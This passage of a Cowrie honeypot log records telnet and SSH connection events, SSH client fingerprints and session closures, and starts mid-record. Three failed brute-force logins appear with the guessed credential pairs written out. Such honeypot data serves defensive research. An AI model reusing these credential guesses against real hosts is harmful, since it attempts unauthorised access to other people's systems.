enssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:06.699846Z","src_ip":"191.101.59.69","session":"36cb0ce35c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portaluser","password":"portaluser","message":"login attempt [portaluser/portaluser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:08.702549Z","src_ip":"191.101.59.69","session":"36cb0ce35c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.1868622303009,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:09.812451Z","src_ip":"45.81.23.16","session":"20a3b7c62cad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.30737280845642,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:10.018335Z","src_ip":"38.60.198.128","session":"42e1f9f990e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:10.507611Z","src_ip":"191.101.59.69","session":"36cb0ce35c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57944,"dst_ip":"159.203.135.109","dst_port":23,"session":"c34865ee49d5","protocol":"telnet","message":"New connection: 38.60.198.128:57944 (159.203.135.109:23) [session: c34865ee49d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:18.974687Z"}
{"eventid":"cowrie.session.closed","duration":45.18883466720581,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:20.209247Z","src_ip":"38.60.198.128","session":"1df89d989fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35696,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b5d2e5c2ac1","protocol":"telnet","message":"New connection: 38.60.198.128:35696 (159.203.135.109:23) [session: 4b5d2e5c2ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:22.210037Z"}
{"eventid":"cowrie.session.closed","duration":54.544626235961914,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:22.947281Z","src_ip":"38.54.119.93","session":"d83015ee629c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38660,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf0f1f75172c","protocol":"telnet","message":"New connection: 38.60.198.128:38660 (159.203.135.109:23) [session: bf0f1f75172c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:23.486645Z"}
{"eventid":"cowrie.session.closed","duration":37.72409462928772,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:25.943873Z","src_ip":"38.60.198.128","session":"5bcb817cc366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"f850386f3de0","protocol":"ssh","message":"New connection: 198.98.56.205:43468 (159.203.135.109:22) [session: f850386f3de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:26.116401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:26.122828Z","src_ip":"198.98.56.205","session":"f850386f3de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:26.128760Z","src_ip":"198.98.56.205","session":"f850386f3de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1qaz@WSX","message":"login attempt [testuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:26.187703Z","src_ip":"198.98.56.205","session":"f850386f3de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:27.195605Z","src_ip":"198.98.56.205","session":"f850386f3de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.37370729446411,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:29.511399Z","src_ip":"38.60.198.128","session":"afef872e4c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46350,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e89d3633a9b","protocol":"telnet","message":"New connection: 38.60.198.128:46350 (159.203.135.109:23) [session: 4e89d3633a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:31.217015Z"}
{"eventid":"cowrie.session.closed","duration":50.38440561294556,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:32.416595Z","src_ip":"38.60.198.128","session":"090641d16058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50198,"dst_ip":"159.203.135.109","dst_port":23,"session":"30e81e4cf4b0","protocol":"telnet","message":"New connection: 38.60.198.128:50198 (159.203.135.109:23) [session: 30e81e4cf4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:33.419453Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60611,"dst_ip":"159.203.135.109","dst_port":23,"session":"110df5dba0a4","protocol":"telnet","message":"New connection: 38.60.198.128:60611 (159.203.135.109:23) [session: 110df5dba0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:42.680654Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35514,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0fd9da23ed6","protocol":"telnet","message":"New connection: 38.60.198.128:35514 (159.203.135.109:23) [session: e0fd9da23ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:43.967694Z"}
{"eventid":"cowrie.session.closed","duration":41.70741581916809,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:45.229155Z","src_ip":"38.60.198.128","session":"c4a58b5ad9cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96241235733032,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:47.609002Z","src_ip":"38.60.198.128","session":"5ae27198312f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187039375305,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:00.393828Z","src_ip":"38.60.198.128","session":"484aba5f5e7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52638,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd55d23906fc","protocol":"telnet","message":"New connection: 38.60.198.128:52638 (159.203.135.109:23) [session: cd55d23906fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:01.522665Z"}
{"eventid":"cowrie.session.closed","duration":43.600109815597534,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:02.574658Z","src_ip":"38.60.198.128","session":"c34865ee49d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":38158,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5bf155800b3","protocol":"telnet","message":"New connection: 45.81.23.16:38158 (10.17.0.5:23) [session: c5bf155800b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:05.939718Z"}
{"eventid":"cowrie.session.closed","duration":37.46740007400513,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:10.886734Z","src_ip":"38.60.198.128","session":"30e81e4cf4b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53398,"dst_ip":"10.17.0.5","dst_port":23,"session":"40afe8b3b589","protocol":"telnet","message":"New connection: 38.54.119.93:53398 (10.17.0.5:23) [session: 40afe8b3b589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:11.513965Z"}
{"eventid":"cowrie.session.closed","duration":49.42200064659119,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:11.631871Z","src_ip":"38.60.198.128","session":"4b5d2e5c2ac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39366,"dst_ip":"159.203.135.109","dst_port":23,"session":"d217fb631ce2","protocol":"telnet","message":"New connection: 38.60.198.128:39366 (159.203.135.109:23) [session: d217fb631ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:12.011963Z"}
{"eventid":"cowrie.session.closed","duration":6.76424241065979,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:12.703830Z","src_ip":"45.81.23.16","session":"c5bf155800b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53004,"dst_ip":"159.203.135.109","dst_port":23,"session":"650af281f92c","protocol":"telnet","message":"New connection: 192.211.53.160:53004 (159.203.135.109:23) [session: 650af281f92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:16.085986Z"}
{"eventid":"cowrie.session.closed","duration":5.100507497787476,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:16.614331Z","src_ip":"38.54.119.93","session":"40afe8b3b589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.02887296676636,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:18.245783Z","src_ip":"38.60.198.128","session":"4e89d3633a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":39152,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcea32f60cc","protocol":"ssh","message":"New connection: 198.98.56.205:39152 (159.203.135.109:22) [session: 5bcea32f60cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:19.687481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:19.698042Z","src_ip":"198.98.56.205","session":"5bcea32f60cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:19.705078Z","src_ip":"198.98.56.205","session":"5bcea32f60cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passwd","message":"login attempt [administrator/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:19.767129Z","src_ip":"198.98.56.205","session":"5bcea32f60cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.56436109542847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:20.244892Z","src_ip":"38.60.198.128","session":"110df5dba0a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:20.777395Z","src_ip":"198.98.56.205","session":"5bcea32f60cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.570563077926636,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:29.538134Z","src_ip":"38.60.198.128","session":"e0fd9da23ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36390,"dst_ip":"159.203.135.109","dst_port":23,"session":"d91fc647f277","protocol":"telnet","message":"New connection: 38.60.198.128:36390 (159.203.135.109:23) [session: d91fc647f277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:31.267006Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36626,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ba17b14fe3","protocol":"telnet","message":"New connection: 38.60.198.128:36626 (159.203.135.109:23) [session: b8ba17b14fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:31.553058Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42860,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8cf17bf7978","protocol":"telnet","message":"New connection: 38.60.198.128:42860 (159.203.135.109:23) [session: f8cf17bf7978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:36.115380Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43488,"dst_ip":"159.203.135.109","dst_port":23,"session":"19daaf3b7b51","protocol":"telnet","message":"New connection: 38.60.198.128:43488 (159.203.135.109:23) [session: 19daaf3b7b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:36.688357Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed93a79f5d73","protocol":"telnet","message":"New connection: 38.60.198.128:49898 (159.203.135.109:23) [session: ed93a79f5d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:41.349079Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55858,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de3b9044d91","protocol":"telnet","message":"New connection: 38.60.198.128:55858 (159.203.135.109:23) [session: 6de3b9044d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:44.932121Z"}
{"eventid":"cowrie.session.closed","duration":46.90778970718384,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:48.430362Z","src_ip":"38.60.198.128","session":"cd55d23906fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60862,"dst_ip":"159.203.135.109","dst_port":23,"session":"418dc79934a2","protocol":"telnet","message":"New connection: 38.60.198.128:60862 (159.203.135.109:23) [session: 418dc79934a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:49.101825Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34064,"dst_ip":"159.203.135.109","dst_port":23,"session":"f999e4bb84d9","protocol":"telnet","message":"New connection: 38.60.198.128:34064 (159.203.135.109:23) [session: f999e4bb84d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:50.277208Z"}
{"eventid":"cowrie.session.closed","duration":120.00263357162476,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:51.924095Z","src_ip":"38.60.198.128","session":"e3b3830f1825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38180,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba74211d4db","protocol":"telnet","message":"New connection: 38.60.198.128:38180 (159.203.135.109:23) [session: 5ba74211d4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:54.955770Z"}
{"eventid":"cowrie.session.closed","duration":44.29217743873596,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:56.304042Z","src_ip":"38.60.198.128","session":"d217fb631ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54434,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d0948a0af8","protocol":"telnet","message":"New connection: 38.54.119.93:54434 (10.17.0.5:23) [session: e9d0948a0af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:56.495985Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44280,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d40f2432cee","protocol":"telnet","message":"New connection: 38.60.198.128:44280 (159.203.135.109:23) [session: 5d40f2432cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:57.317686Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46376,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b502e833f5a","protocol":"telnet","message":"New connection: 38.60.198.128:46376 (159.203.135.109:23) [session: 9b502e833f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:59:57.660960Z"}
{"eventid":"cowrie.session.closed","duration":44.34149622917175,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:00.427335Z","src_ip":"192.211.53.160","session":"650af281f92c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51624,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bde8a5cfc2a","protocol":"telnet","message":"New connection: 38.60.198.128:51624 (159.203.135.109:23) [session: 5bde8a5cfc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:02.026684Z"}
{"eventid":"cowrie.session.closed","duration":7.5334014892578125,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:04.029272Z","src_ip":"38.54.119.93","session":"e9d0948a0af8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58472,"dst_ip":"159.203.135.109","dst_port":23,"session":"a776e0e30c73","protocol":"telnet","message":"New connection: 38.60.198.128:58472 (159.203.135.109:23) [session: a776e0e30c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:06.009842Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef2d52eb70b4","protocol":"telnet","message":"New connection: 38.60.198.128:32952 (159.203.135.109:23) [session: ef2d52eb70b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:09.259996Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35166,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a5b2310ed2","protocol":"telnet","message":"New connection: 38.60.198.128:35166 (159.203.135.109:23) [session: b4a5b2310ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:09.833455Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36158,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b06f41404ea","protocol":"telnet","message":"New connection: 38.60.198.128:36158 (159.203.135.109:23) [session: 1b06f41404ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:11.453952Z"}
{"eventid":"cowrie.session.closed","duration":40.54313683509827,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:12.096119Z","src_ip":"38.60.198.128","session":"b8ba17b14fe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37670,"dst_ip":"159.203.135.109","dst_port":23,"session":"1545789ad2d0","protocol":"telnet","message":"New connection: 38.60.198.128:37670 (159.203.135.109:23) [session: 1545789ad2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:12.564884Z"}
{"eventid":"cowrie.session.closed","duration":41.67354440689087,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:12.940267Z","src_ip":"38.60.198.128","session":"d91fc647f277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":40606,"dst_ip":"159.203.135.109","dst_port":22,"session":"66b0090a7b68","protocol":"ssh","message":"New connection: 198.98.56.205:40606 (159.203.135.109:22) [session: 66b0090a7b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:13.173076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:13.181106Z","src_ip":"198.98.56.205","session":"66b0090a7b68","protocol":"ssh"}
